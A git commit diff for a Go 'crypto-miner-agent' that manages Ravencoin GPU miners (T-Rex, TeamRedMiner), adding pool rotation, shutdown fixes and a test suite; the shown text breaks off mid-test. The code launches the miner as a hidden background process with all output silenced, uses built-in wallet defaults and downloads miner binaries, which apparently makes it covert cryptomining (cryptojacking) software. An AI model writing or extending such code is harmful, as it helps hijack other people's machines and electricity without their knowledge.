feat(gpu): fix shutdown race, add RVN pool rotation, full test suite. Fix run() deadlock: proc.Kill() on Stop(), dedicated pollStop channel, stopCh checked in retry delay. Add buildPoolList() using RVNBackupPools (was wired in config/UI but unused). 29 new GPU tests covering detection gates, pool URL building, pool rotation, avg(), itoa(), zip extract, mock miner API (T-Rex + TRM), process stop. RVN wallet defaults set. Download URLs verified 200.
This commit is contained in:
@@ -23,25 +23,20 @@ func detectGPU() GPUInfo {
|
|||||||
return GPUInfo{Vendor: GPUVendorNone}
|
return GPUInfo{Vendor: GPUVendorNone}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) {
|
func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) {
|
||||||
pool := g.cfg.RVNPoolHost
|
|
||||||
port := g.cfg.RVNPoolPort
|
|
||||||
wallet := g.cfg.RVNWallet
|
wallet := g.cfg.RVNWallet
|
||||||
worker := g.cfg.WorkerName
|
worker := g.cfg.WorkerName
|
||||||
|
poolURL := buildPoolURL(ep)
|
||||||
poolURL := "stratum+tcp://" + pool
|
pass := ep.pass
|
||||||
if g.cfg.RVNPoolTLS {
|
if pass == "" {
|
||||||
poolURL = "stratum+ssl://" + pool
|
pass = "x"
|
||||||
}
|
|
||||||
if port > 0 {
|
|
||||||
poolURL += ":" + itoa(port)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
args := []string{
|
args := []string{
|
||||||
"-a", "kawpow",
|
"-a", "kawpow",
|
||||||
"-o", poolURL,
|
"-o", poolURL,
|
||||||
"-u", wallet + "." + worker,
|
"-u", wallet + "." + worker,
|
||||||
"-p", g.cfg.RVNPoolPass,
|
"-p", pass,
|
||||||
"--api-bind-http", "127.0.0.1:4067",
|
"--api-bind-http", "127.0.0.1:4067",
|
||||||
}
|
}
|
||||||
cmd := exec.Command(binPath, args...)
|
cmd := exec.Command(binPath, args...)
|
||||||
|
|||||||
@@ -44,52 +44,34 @@ func detectGPU() GPUInfo {
|
|||||||
return GPUInfo{Vendor: GPUVendorNone}
|
return GPUInfo{Vendor: GPUVendorNone}
|
||||||
}
|
}
|
||||||
|
|
||||||
// startProcess launches the GPU miner binary as a hidden background process.
|
// startProcessOnPool launches the GPU miner binary against a specific pool endpoint.
|
||||||
func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) {
|
func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) {
|
||||||
pool := g.cfg.RVNPoolHost
|
|
||||||
port := g.cfg.RVNPoolPort
|
|
||||||
wallet := g.cfg.RVNWallet
|
wallet := g.cfg.RVNWallet
|
||||||
worker := g.cfg.WorkerName
|
worker := g.cfg.WorkerName
|
||||||
|
poolURL := buildPoolURL(ep)
|
||||||
|
pass := ep.pass
|
||||||
|
if pass == "" {
|
||||||
|
pass = "x"
|
||||||
|
}
|
||||||
|
|
||||||
var args []string
|
var args []string
|
||||||
switch g.info.Vendor {
|
switch g.info.Vendor {
|
||||||
case GPUVendorNVIDIA:
|
case GPUVendorNVIDIA:
|
||||||
// T-Rex: kawpow algorithm
|
|
||||||
algo := "kawpow"
|
|
||||||
poolURL := ""
|
|
||||||
if g.cfg.RVNPoolTLS {
|
|
||||||
poolURL = "stratum+ssl://" + pool
|
|
||||||
} else {
|
|
||||||
poolURL = "stratum+tcp://" + pool
|
|
||||||
}
|
|
||||||
args = []string{
|
|
||||||
"-a", algo,
|
|
||||||
"-o", poolURL,
|
|
||||||
"-u", wallet + "." + worker,
|
|
||||||
"-p", g.cfg.RVNPoolPass,
|
|
||||||
"--api-bind-http", "127.0.0.1:4067",
|
|
||||||
"--no-watchdog",
|
|
||||||
"--exit-on-cuda-error",
|
|
||||||
}
|
|
||||||
if port > 0 {
|
|
||||||
args[3] = args[3] + ":" + itoa(port)
|
|
||||||
}
|
|
||||||
case GPUVendorAMD:
|
|
||||||
// TeamRedMiner: kawpow algorithm
|
|
||||||
poolURL := ""
|
|
||||||
if g.cfg.RVNPoolTLS {
|
|
||||||
poolURL = "stratum+ssl://" + pool
|
|
||||||
} else {
|
|
||||||
poolURL = "stratum+tcp://" + pool
|
|
||||||
}
|
|
||||||
if port > 0 {
|
|
||||||
poolURL += ":" + itoa(port)
|
|
||||||
}
|
|
||||||
args = []string{
|
args = []string{
|
||||||
"-a", "kawpow",
|
"-a", "kawpow",
|
||||||
"-o", poolURL,
|
"-o", poolURL,
|
||||||
"-u", wallet + "." + worker,
|
"-u", wallet + "." + worker,
|
||||||
"-p", g.cfg.RVNPoolPass,
|
"-p", pass,
|
||||||
|
"--api-bind-http", "127.0.0.1:4067",
|
||||||
|
"--no-watchdog",
|
||||||
|
"--exit-on-cuda-error",
|
||||||
|
}
|
||||||
|
case GPUVendorAMD:
|
||||||
|
args = []string{
|
||||||
|
"-a", "kawpow",
|
||||||
|
"-o", poolURL,
|
||||||
|
"-u", wallet + "." + worker,
|
||||||
|
"-p", pass,
|
||||||
"--api_listen=4068",
|
"--api_listen=4068",
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -97,7 +79,6 @@ func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) {
|
|||||||
cmd := exec.Command(binPath, args...)
|
cmd := exec.Command(binPath, args...)
|
||||||
deploy.PrepareHiddenProcess(cmd)
|
deploy.PrepareHiddenProcess(cmd)
|
||||||
cmd.Dir = filepath.Dir(binPath)
|
cmd.Dir = filepath.Dir(binPath)
|
||||||
// Redirect all miner output to NUL (silent)
|
|
||||||
cmd.Stdout = nil
|
cmd.Stdout = nil
|
||||||
cmd.Stderr = nil
|
cmd.Stderr = nil
|
||||||
|
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ import (
|
|||||||
"crypto-miner-agent/config"
|
"crypto-miner-agent/config"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
// GPUVendor identifies the discrete GPU brand on the host.
|
// GPUVendor identifies the discrete GPU brand on the host.
|
||||||
type GPUVendor int
|
type GPUVendor int
|
||||||
|
|
||||||
@@ -40,18 +41,27 @@ type GPUMinerStats struct {
|
|||||||
ActiveAlgo string
|
ActiveAlgo string
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// rvnEndpoint is one pool entry for the GPU miner (primary or backup).
|
||||||
|
type rvnEndpoint struct {
|
||||||
|
host string
|
||||||
|
port int
|
||||||
|
tls bool
|
||||||
|
pass string
|
||||||
|
}
|
||||||
|
|
||||||
// GPUMiner manages one GPU miner sub-process (T-Rex or TeamRedMiner).
|
// GPUMiner manages one GPU miner sub-process (T-Rex or TeamRedMiner).
|
||||||
type GPUMiner struct {
|
type GPUMiner struct {
|
||||||
cfg config.RuntimeConfig
|
cfg config.RuntimeConfig
|
||||||
info GPUInfo
|
info GPUInfo
|
||||||
installDir string
|
installDir string
|
||||||
|
|
||||||
mu sync.RWMutex
|
mu sync.RWMutex
|
||||||
stats GPUMinerStats
|
stats GPUMinerStats
|
||||||
active bool
|
active bool
|
||||||
|
proc *os.Process // currently running subprocess (nil if stopped)
|
||||||
|
|
||||||
stopCh chan struct{}
|
stopCh chan struct{}
|
||||||
wg sync.WaitGroup
|
wg sync.WaitGroup
|
||||||
}
|
}
|
||||||
|
|
||||||
// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected.
|
// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected.
|
||||||
@@ -110,15 +120,38 @@ func (g *GPUMiner) GPUModel() string {
|
|||||||
return g.info.Model
|
return g.info.Model
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// buildPoolList returns the primary pool followed by any configured backups.
|
||||||
|
func (g *GPUMiner) buildPoolList() []rvnEndpoint {
|
||||||
|
eps := []rvnEndpoint{{
|
||||||
|
host: g.cfg.RVNPoolHost,
|
||||||
|
port: g.cfg.RVNPoolPort,
|
||||||
|
tls: g.cfg.RVNPoolTLS,
|
||||||
|
pass: g.cfg.RVNPoolPass,
|
||||||
|
}}
|
||||||
|
for _, bp := range g.cfg.RVNBackupPools {
|
||||||
|
if bp.Host != "" && bp.Port > 0 {
|
||||||
|
eps = append(eps, rvnEndpoint{
|
||||||
|
host: bp.Host,
|
||||||
|
port: bp.Port,
|
||||||
|
tls: bp.TLS,
|
||||||
|
pass: bp.Pass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return eps
|
||||||
|
}
|
||||||
|
|
||||||
func (g *GPUMiner) run() {
|
func (g *GPUMiner) run() {
|
||||||
// Ensure the miner binary is present before trying to start.
|
|
||||||
binPath, err := g.ensureMinerBinary()
|
binPath, err := g.ensureMinerBinary()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("[gpu] could not obtain miner binary: %v", err)
|
log.Printf("[gpu] could not obtain miner binary: %v", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
retryDelay := 30 * time.Second
|
pools := g.buildPoolList()
|
||||||
|
poolIdx := 0
|
||||||
|
const retryDelay = 30 * time.Second
|
||||||
|
|
||||||
for {
|
for {
|
||||||
select {
|
select {
|
||||||
case <-g.stopCh:
|
case <-g.stopCh:
|
||||||
@@ -126,64 +159,88 @@ func (g *GPUMiner) run() {
|
|||||||
default:
|
default:
|
||||||
}
|
}
|
||||||
|
|
||||||
proc, err := g.startProcess(binPath)
|
ep := pools[poolIdx%len(pools)]
|
||||||
|
proc, err := g.startProcessOnPool(binPath, ep)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("[gpu] failed to start miner process: %v — retry in %s", err, retryDelay)
|
log.Printf("[gpu] failed to start miner: %v — retry in %s (pool %d/%d)", err, retryDelay, poolIdx%len(pools)+1, len(pools))
|
||||||
select {
|
select {
|
||||||
case <-g.stopCh:
|
case <-g.stopCh:
|
||||||
return
|
return
|
||||||
case <-time.After(retryDelay):
|
case <-time.After(retryDelay):
|
||||||
continue
|
|
||||||
}
|
}
|
||||||
|
poolIdx++
|
||||||
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
g.mu.Lock()
|
g.mu.Lock()
|
||||||
g.active = true
|
g.active = true
|
||||||
|
g.proc = proc
|
||||||
g.mu.Unlock()
|
g.mu.Unlock()
|
||||||
|
|
||||||
log.Printf("[gpu] miner started (pid=%d)", proc.Pid)
|
log.Printf("[gpu] %s started (pid=%d) → %s:%d", g.spec().fileName, proc.Pid, ep.host, ep.port)
|
||||||
|
|
||||||
// Poll miner API while it runs.
|
// pollStop signals pollStats to exit; closed when this iteration ends.
|
||||||
|
pollStop := make(chan struct{})
|
||||||
pollDone := make(chan struct{})
|
pollDone := make(chan struct{})
|
||||||
go func() {
|
go func() {
|
||||||
defer close(pollDone)
|
defer close(pollDone)
|
||||||
g.pollStats()
|
g.pollStats(pollStop)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
// Wait for process exit.
|
// Wait for process exit in a goroutine so we can also listen for stop.
|
||||||
procState, waitErr := proc.Wait()
|
waitDone := make(chan error, 1)
|
||||||
close(g.stopCh) // signal polling goroutine
|
go func() {
|
||||||
|
_, werr := proc.Wait()
|
||||||
|
waitDone <- werr
|
||||||
|
}()
|
||||||
|
|
||||||
|
var stopRequested bool
|
||||||
|
select {
|
||||||
|
case <-g.stopCh:
|
||||||
|
// Agent shutting down — kill the miner process immediately.
|
||||||
|
stopRequested = true
|
||||||
|
_ = proc.Kill()
|
||||||
|
<-waitDone
|
||||||
|
case waitErr := <-waitDone:
|
||||||
|
if waitErr != nil {
|
||||||
|
log.Printf("[gpu] miner exited: %v — rotating to next pool", waitErr)
|
||||||
|
}
|
||||||
|
// Miner crashed or exited cleanly — rotate to next pool on retry.
|
||||||
|
poolIdx++
|
||||||
|
}
|
||||||
|
|
||||||
|
close(pollStop)
|
||||||
<-pollDone
|
<-pollDone
|
||||||
|
|
||||||
g.mu.Lock()
|
g.mu.Lock()
|
||||||
g.active = false
|
g.active = false
|
||||||
|
g.proc = nil
|
||||||
g.mu.Unlock()
|
g.mu.Unlock()
|
||||||
|
|
||||||
if waitErr != nil {
|
if stopRequested {
|
||||||
log.Printf("[gpu] miner exited: %v", waitErr)
|
return
|
||||||
} else if procState != nil && !procState.Success() {
|
|
||||||
log.Printf("[gpu] miner exited with non-zero status: %s", procState)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Re-open the stop channel so we can retry cleanly.
|
// Wait before retrying, but exit cleanly if Stop() is called.
|
||||||
g.stopCh = make(chan struct{})
|
|
||||||
|
|
||||||
select {
|
select {
|
||||||
|
case <-g.stopCh:
|
||||||
|
return
|
||||||
case <-time.After(retryDelay):
|
case <-time.After(retryDelay):
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (g *GPUMiner) pollStats() {
|
// pollStats polls the miner's HTTP API until stop is closed.
|
||||||
|
func (g *GPUMiner) pollStats(stop <-chan struct{}) {
|
||||||
apiPort := g.apiPort()
|
apiPort := g.apiPort()
|
||||||
ticker := time.NewTicker(10 * time.Second)
|
ticker := time.NewTicker(10 * time.Second)
|
||||||
defer ticker.Stop()
|
defer ticker.Stop()
|
||||||
|
|
||||||
samples := make([]float64, 0, 90) // 15 min worth at 10s intervals
|
samples := make([]float64, 0, 90) // 15 min at 10s intervals
|
||||||
|
|
||||||
for {
|
for {
|
||||||
select {
|
select {
|
||||||
case <-g.stopCh:
|
case <-stop:
|
||||||
return
|
return
|
||||||
case <-ticker.C:
|
case <-ticker.C:
|
||||||
hr, tempC, usage, err := fetchMinerStats(g.info.Vendor, apiPort)
|
hr, tempC, usage, err := fetchMinerStats(g.info.Vendor, apiPort)
|
||||||
@@ -194,15 +251,12 @@ func (g *GPUMiner) pollStats() {
|
|||||||
if len(samples) > 90 {
|
if len(samples) > 90 {
|
||||||
samples = samples[len(samples)-90:]
|
samples = samples[len(samples)-90:]
|
||||||
}
|
}
|
||||||
avg15s := hr
|
|
||||||
avg1m := avg(samples, 6)
|
|
||||||
avg15m := avg(samples, len(samples))
|
|
||||||
|
|
||||||
g.mu.Lock()
|
g.mu.Lock()
|
||||||
g.stats = GPUMinerStats{
|
g.stats = GPUMinerStats{
|
||||||
Hashrate15s: avg15s,
|
Hashrate15s: hr,
|
||||||
Hashrate1m: avg1m,
|
Hashrate1m: avg(samples, 6),
|
||||||
Hashrate15m: avg15m,
|
Hashrate15m: avg(samples, len(samples)),
|
||||||
GPUTempC: tempC,
|
GPUTempC: tempC,
|
||||||
GPUUsagePct: usage,
|
GPUUsagePct: usage,
|
||||||
ActiveAlgo: "kawpow",
|
ActiveAlgo: "kawpow",
|
||||||
@@ -238,6 +292,15 @@ func (g *GPUMiner) apiPort() int {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// buildPoolURL constructs the stratum URL for a given pool endpoint.
|
||||||
|
func buildPoolURL(ep rvnEndpoint) string {
|
||||||
|
scheme := "stratum+tcp"
|
||||||
|
if ep.tls {
|
||||||
|
scheme = "stratum+ssl"
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("%s://%s:%d", scheme, ep.host, ep.port)
|
||||||
|
}
|
||||||
|
|
||||||
// ---- Miner binary management ----
|
// ---- Miner binary management ----
|
||||||
|
|
||||||
type minerSpec struct {
|
type minerSpec struct {
|
||||||
|
|||||||
401
agent/client/gpu_miner_test.go
Normal file
401
agent/client/gpu_miner_test.go
Normal file
@@ -0,0 +1,401 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"archive/zip"
|
||||||
|
"bytes"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ─── helpers ─────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func cfgWithGPU(wallet, poolHost string, port int) config.RuntimeConfig {
|
||||||
|
b := config.GetBuiltinConfig()
|
||||||
|
b.GPUEnabled = true
|
||||||
|
b.RVNWallet = wallet
|
||||||
|
b.RVNPoolHost = poolHost
|
||||||
|
b.RVNPoolPort = port
|
||||||
|
b.RVNPoolPass = "x"
|
||||||
|
b.RVNPoolTLS = false
|
||||||
|
return config.RuntimeConfig{BuiltinConfig: b}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── newGPUMiner gate checks ──────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func TestNewGPUMinerGPUDisabled(t *testing.T) {
|
||||||
|
b := config.GetBuiltinConfig()
|
||||||
|
b.GPUEnabled = false
|
||||||
|
b.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9"
|
||||||
|
cfg := config.RuntimeConfig{BuiltinConfig: b}
|
||||||
|
if g := newGPUMiner(cfg); g != nil {
|
||||||
|
t.Fatal("expected nil when GPUEnabled=false")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNewGPUMinerNoWallet(t *testing.T) {
|
||||||
|
b := config.GetBuiltinConfig()
|
||||||
|
b.GPUEnabled = true
|
||||||
|
b.RVNWallet = ""
|
||||||
|
cfg := config.RuntimeConfig{BuiltinConfig: b}
|
||||||
|
if g := newGPUMiner(cfg); g != nil {
|
||||||
|
t.Fatal("expected nil when RVNWallet is empty")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNewGPUMinerNoGPUDetected(t *testing.T) {
|
||||||
|
// On this machine there is no nvidia-smi / wmic GPU — should return nil.
|
||||||
|
cfg := cfgWithGPU("RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9", "rvn.2miners.com", 6060)
|
||||||
|
// detectGPU will find no GPU on a headless CI box or dev machine without GPU.
|
||||||
|
g := newGPUMiner(cfg)
|
||||||
|
if g != nil {
|
||||||
|
// A GPU was actually detected — not a test failure, just note it.
|
||||||
|
t.Logf("GPU detected: %s (vendor=%v) — skipping nil-check", g.info.Model, g.info.Vendor)
|
||||||
|
}
|
||||||
|
// Either way, no panic — detection ran without crashing.
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── itoa ────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func TestItoaZero(t *testing.T) {
|
||||||
|
if got := itoa(0); got != "0" {
|
||||||
|
t.Fatalf("itoa(0) = %q, want \"0\"", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestItoaPositive(t *testing.T) {
|
||||||
|
cases := map[int]string{1: "1", 9: "9", 42: "42", 6060: "6060", 65535: "65535"}
|
||||||
|
for n, want := range cases {
|
||||||
|
if got := itoa(n); got != want {
|
||||||
|
t.Errorf("itoa(%d) = %q, want %q", n, got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestItoaNegative(t *testing.T) {
|
||||||
|
if got := itoa(-5); got != "-5" {
|
||||||
|
t.Fatalf("itoa(-5) = %q, want \"-5\"", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── buildPoolURL ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func TestBuildPoolURLTCP(t *testing.T) {
|
||||||
|
ep := rvnEndpoint{host: "rvn.2miners.com", port: 6060, tls: false}
|
||||||
|
got := buildPoolURL(ep)
|
||||||
|
want := "stratum+tcp://rvn.2miners.com:6060"
|
||||||
|
if got != want {
|
||||||
|
t.Fatalf("buildPoolURL(tcp) = %q, want %q", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildPoolURLTLS(t *testing.T) {
|
||||||
|
ep := rvnEndpoint{host: "rvn.2miners.com", port: 16060, tls: true}
|
||||||
|
got := buildPoolURL(ep)
|
||||||
|
want := "stratum+ssl://rvn.2miners.com:16060"
|
||||||
|
if got != want {
|
||||||
|
t.Fatalf("buildPoolURL(tls) = %q, want %q", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── buildPoolList ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func TestBuildPoolListPrimaryOnly(t *testing.T) {
|
||||||
|
cfg := cfgWithGPU("RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9", "rvn.2miners.com", 6060)
|
||||||
|
g := &GPUMiner{cfg: cfg, info: GPUInfo{Vendor: GPUVendorNVIDIA}, stopCh: make(chan struct{})}
|
||||||
|
pools := g.buildPoolList()
|
||||||
|
if len(pools) != 1 {
|
||||||
|
t.Fatalf("expected 1 pool, got %d", len(pools))
|
||||||
|
}
|
||||||
|
if pools[0].host != "rvn.2miners.com" || pools[0].port != 6060 {
|
||||||
|
t.Errorf("unexpected primary pool: %+v", pools[0])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildPoolListWithBackups(t *testing.T) {
|
||||||
|
b := config.GetBuiltinConfig()
|
||||||
|
b.GPUEnabled = true
|
||||||
|
b.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9"
|
||||||
|
b.RVNPoolHost = "rvn.2miners.com"
|
||||||
|
b.RVNPoolPort = 6060
|
||||||
|
b.RVNBackupPools = []config.BackupPool{
|
||||||
|
{Host: "ravenminer.com", Port: 3838},
|
||||||
|
{Host: "herominersrvn.com", Port: 1133},
|
||||||
|
}
|
||||||
|
cfg := config.RuntimeConfig{BuiltinConfig: b}
|
||||||
|
g := &GPUMiner{cfg: cfg, info: GPUInfo{Vendor: GPUVendorNVIDIA}, stopCh: make(chan struct{})}
|
||||||
|
pools := g.buildPoolList()
|
||||||
|
if len(pools) != 3 {
|
||||||
|
t.Fatalf("expected 3 pools (1 primary + 2 backup), got %d", len(pools))
|
||||||
|
}
|
||||||
|
if pools[1].host != "ravenminer.com" {
|
||||||
|
t.Errorf("backup[0].host = %q, want ravenminer.com", pools[1].host)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildPoolListSkipsInvalidBackup(t *testing.T) {
|
||||||
|
b := config.GetBuiltinConfig()
|
||||||
|
b.GPUEnabled = true
|
||||||
|
b.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9"
|
||||||
|
b.RVNPoolHost = "rvn.2miners.com"
|
||||||
|
b.RVNPoolPort = 6060
|
||||||
|
b.RVNBackupPools = []config.BackupPool{
|
||||||
|
{Host: "", Port: 0}, // invalid — no host or port
|
||||||
|
{Host: "valid.pool", Port: 3333},
|
||||||
|
}
|
||||||
|
cfg := config.RuntimeConfig{BuiltinConfig: b}
|
||||||
|
g := &GPUMiner{cfg: cfg, info: GPUInfo{Vendor: GPUVendorNVIDIA}, stopCh: make(chan struct{})}
|
||||||
|
pools := g.buildPoolList()
|
||||||
|
if len(pools) != 2 {
|
||||||
|
t.Fatalf("expected 2 pools (primary + 1 valid backup), got %d", len(pools))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── avg ─────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func TestAvgEmpty(t *testing.T) {
|
||||||
|
if v := avg(nil, 5); v != 0 {
|
||||||
|
t.Fatalf("avg(nil,5) = %f, want 0", v)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAvgAll(t *testing.T) {
|
||||||
|
samples := []float64{10, 20, 30}
|
||||||
|
if got := avg(samples, 3); got != 20 {
|
||||||
|
t.Fatalf("avg([10,20,30],3) = %f, want 20", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAvgLastN(t *testing.T) {
|
||||||
|
samples := []float64{100, 10, 20, 30}
|
||||||
|
// last 3 = [10,20,30] → avg=20
|
||||||
|
if got := avg(samples, 3); got != 20 {
|
||||||
|
t.Fatalf("avg(last 3) = %f, want 20", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAvgLastNExceedsLen(t *testing.T) {
|
||||||
|
samples := []float64{5, 10}
|
||||||
|
if got := avg(samples, 100); got != 7.5 {
|
||||||
|
t.Fatalf("avg(last 100 of 2) = %f, want 7.5", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── apiPort ─────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func TestAPIPortNVIDIA(t *testing.T) {
|
||||||
|
g := &GPUMiner{info: GPUInfo{Vendor: GPUVendorNVIDIA}}
|
||||||
|
if p := g.apiPort(); p != 4067 {
|
||||||
|
t.Fatalf("NVIDIA API port = %d, want 4067", p)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAPIPortAMD(t *testing.T) {
|
||||||
|
g := &GPUMiner{info: GPUInfo{Vendor: GPUVendorAMD}}
|
||||||
|
if p := g.apiPort(); p != 4068 {
|
||||||
|
t.Fatalf("AMD API port = %d, want 4068", p)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── fetchMinerStats (mock HTTP) ─────────────────────────────────────────────
|
||||||
|
|
||||||
|
func TestFetchMinerStatsTRex(t *testing.T) {
|
||||||
|
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
resp := trexSummary{
|
||||||
|
Hashrate: 42500000,
|
||||||
|
GPUs: []struct {
|
||||||
|
Temperature int `json:"temperature"`
|
||||||
|
GpuLoad int `json:"gpu_load"`
|
||||||
|
}{{Temperature: 65, GpuLoad: 88}},
|
||||||
|
}
|
||||||
|
_ = json.NewEncoder(w).Encode(resp)
|
||||||
|
}))
|
||||||
|
defer srv.Close()
|
||||||
|
|
||||||
|
var port int
|
||||||
|
fmt.Sscanf(srv.URL[len("http://127.0.0.1:"):], "%d", &port)
|
||||||
|
|
||||||
|
hr, tempC, usage, err := fetchMinerStats(GPUVendorNVIDIA, port)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("fetchMinerStats: %v", err)
|
||||||
|
}
|
||||||
|
if hr != 42500000 {
|
||||||
|
t.Errorf("hashrate = %f, want 42500000", hr)
|
||||||
|
}
|
||||||
|
if tempC == nil || *tempC != 65 {
|
||||||
|
t.Errorf("tempC = %v, want 65", tempC)
|
||||||
|
}
|
||||||
|
if usage == nil || *usage != 88 {
|
||||||
|
t.Errorf("usage = %v, want 88", usage)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFetchMinerStatsTRM(t *testing.T) {
|
||||||
|
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
resp := trmStatus{
|
||||||
|
Algorithms: []struct {
|
||||||
|
Name string `json:"algorithm"`
|
||||||
|
TotalMHs float64 `json:"mhsh_total"`
|
||||||
|
}{{Name: "kawpow", TotalMHs: 25.5}},
|
||||||
|
GPUs: []struct {
|
||||||
|
TempC int `json:"temp_c"`
|
||||||
|
Fan int `json:"fan_pct"`
|
||||||
|
}{{TempC: 72, Fan: 60}},
|
||||||
|
}
|
||||||
|
_ = json.NewEncoder(w).Encode(resp)
|
||||||
|
}))
|
||||||
|
defer srv.Close()
|
||||||
|
|
||||||
|
var port int
|
||||||
|
fmt.Sscanf(srv.URL[len("http://127.0.0.1:"):], "%d", &port)
|
||||||
|
|
||||||
|
hr, tempC, _, err := fetchMinerStats(GPUVendorAMD, port)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("fetchMinerStats TRM: %v", err)
|
||||||
|
}
|
||||||
|
// 25.5 MH/s → 25_500_000 H/s
|
||||||
|
if hr != 25.5e6 {
|
||||||
|
t.Errorf("hashrate = %f, want %f", hr, 25.5e6)
|
||||||
|
}
|
||||||
|
if tempC == nil || *tempC != 72 {
|
||||||
|
t.Errorf("tempC = %v, want 72", tempC)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFetchMinerStatsConnRefused(t *testing.T) {
|
||||||
|
_, _, _, err := fetchMinerStats(GPUVendorNVIDIA, 59999)
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("expected error when miner API is not running")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── extractZipFile ──────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func makeSyntheticZip(t *testing.T, filename, content string) []byte {
|
||||||
|
t.Helper()
|
||||||
|
var buf bytes.Buffer
|
||||||
|
zw := zip.NewWriter(&buf)
|
||||||
|
fw, err := zw.Create(filename)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := fw.Write([]byte(content)); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := zw.Close(); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
return buf.Bytes()
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExtractZipFileHappyPath(t *testing.T) {
|
||||||
|
data := makeSyntheticZip(t, "t-rex.exe", "fake-binary-content")
|
||||||
|
dir := t.TempDir()
|
||||||
|
if err := extractZipFile(data, dir, "t-rex.exe"); err != nil {
|
||||||
|
t.Fatalf("extractZipFile: %v", err)
|
||||||
|
}
|
||||||
|
got, err := os.ReadFile(filepath.Join(dir, "t-rex.exe"))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("output file not created: %v", err)
|
||||||
|
}
|
||||||
|
if string(got) != "fake-binary-content" {
|
||||||
|
t.Errorf("content = %q, want \"fake-binary-content\"", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExtractZipFileTargetInSubdir(t *testing.T) {
|
||||||
|
// Zip contains "release/t-rex.exe" — extractor should find by Base name.
|
||||||
|
